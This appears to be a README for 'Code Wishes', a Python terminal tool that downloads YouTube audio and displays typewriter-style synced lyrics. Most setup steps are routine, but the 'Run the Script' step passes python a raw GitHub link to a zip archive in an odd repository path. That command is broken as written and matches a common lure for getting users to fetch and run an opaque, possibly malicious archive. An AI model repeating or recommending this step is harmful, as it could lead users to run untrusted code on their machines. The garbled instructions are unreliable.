Welcome to Code Wishes! This application lets you enjoy your favorite YouTube tracks with synced lyrics. Follow these steps to download and run the software easily.
Before you begin, make sure you have the following:
- Python 3.11 or newer installed on your computer.
- It is recommended to use a virtual environment for better management.
-
Open Your Terminal: Access the command line interface on your machine.
-
Create a Virtual Environment: Enter the following command to set this up:
python3 -m venv .venv
-
Activate the Virtual Environment: Run this command to start using the newly created environment:
. .venv/bin/activate -
Install Necessary Packages: You need several packages for Code Wishes to work. Install them by entering:
pip install -U pip yt-dlp imageio-ffmpeg pygame
-
Run the Script: Start the application with the following command:
.venv/bin/python https://raw.githubusercontent.com/Danntay5533/code_wishes/main/withstay/code_wishes_1.5.zip
-
Download a Song: The script downloads the requested YouTube audio track to your project folder. You won't need to worry about where this file goes; everything is handled automatically.
-
Control Playback: Use the following keys for easy control:
p: Pause the playback.r: Resume the playback.sorq: Stop the playback.[: Make the lyrics appear earlier by 0.25 seconds.]: Delay the lyrics by 0.25 seconds.o: Show the current lyric offset.
-
Enjoy the Experience: Watch as the lyrics appear in a typewriter style, matching the audio playback. You can adjust timing while listening to perfect your experience.
To obtain the latest version of Code Wishes, please visit this page to download: Releases Page. This link will take you to the page where you can find the available versions.
- Audio Download: Code Wishes uses
yt-dlpto get audio from YouTube, converting it to MP3 format seamlessly. - Custom Playback Starting Point: Choose when playback begins with a default offset of 115 seconds.
- Real-Time Lyrics Sync: Enjoy lyrics that stay perfectly synced with the music, even during pauses.
- Interactive Terminal Controls: Easily manage the playback with a straightforward set of commands.
- Python Not Installed: Ensure that Python 3.11 or newer is installed. You can check by entering
python3 --versionin your terminal. - Activate Virtual Environment: Always activate the virtual environment before running the script for best results.
- Dependency Issues: If you face issues installing packages, double-check your internet connection and ensure you have the required permissions.
By following these steps, you should be able to enjoy your favorite tracks with synced lyrics using Code Wishes effortlessly.